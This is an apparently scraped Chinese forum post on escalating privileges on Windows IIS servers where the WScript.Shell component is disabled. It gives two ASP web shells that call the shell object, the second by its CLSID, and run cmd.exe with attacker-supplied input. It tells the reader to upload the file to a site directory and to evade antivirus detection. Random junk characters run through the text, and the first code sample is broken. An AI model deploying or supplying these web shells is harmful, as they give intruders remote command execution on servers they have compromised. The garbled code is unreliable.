没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  : l8 P% C! H+ \/ I8 i
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  
• <%
  # K( n7 y3 w! T' v* q" q' F! g
• end if
  
• response.write(”")
  ' h9 Y1 S+ S( r* i
• On Error Resume
  - D. V% G% K2 l; L% y% i% u) x7 h6 N
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  , |" T4 O& g; a; K9 J9 Q
• request(”c”)).stdout.readall
  * }5 G4 y" e3 f, Q
• response.write(”")
  5 U! B& \$ q6 {4 `0 W
• response.write(”")
  
• response.write(”
  
• “)
  
• response.write(”")
  
• %>
  * t  m. g7 B. r, J4 J( P
• 保存为一个asp文件，然后传到网站目录上去
  , n) r+ ]; |. b
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  0 V: U+ R5 a* ~  T$ _* |
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  , T! N% S% o3 @- X9 k
• 
  . f: ^- G3 l5 l% X7 J3 Q8 A% N+ L
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  8 d* ]- X! j  e  D) e
• <object runat=server id=oScriptlhn scope=page
  
• 
  + d# j8 y1 {1 q+ q5 V1 @( j; r" {
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  . g/ o/ a# O5 q$ K
• <%
  + a* e1 F7 X- T
• end if
  
• response.write(”<textarea readonly cols=80
  
• 
  
• rows=20>”)
  * ]2 K& s0 n; r" B+ r
• On Error Resume Next
  
• response.write
  ' M, U8 r+ z! ]! V+ g* Y
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  # G+ b! g/ N' A; Z1 U
• response.write(”</textarea>”)
  
• response.write(”<form
  
• 
  1 H1 P/ w2 }. W5 Q! o/ u- c
• method=’post’>”)
  * j* I1 X( {% K1 o
• response.write(”<input type=text name=’c'
  8 a0 G) Z7 Q% B$ w3 o+ r* `% Y
• 
  0 E- F6 n0 C- K. a0 Y7 i# M
• size=60><br>”)
  % d) }5 L2 c  g: i2 `* D/ l: [8 H! |
• response.write(”<input type=submit
  
• 
  
• value=’执行’></form>”)
  # p' Z- \+ e2 V8 w1 K
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  " l8 Z! J0 W1 D! [+ i$ X) B
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码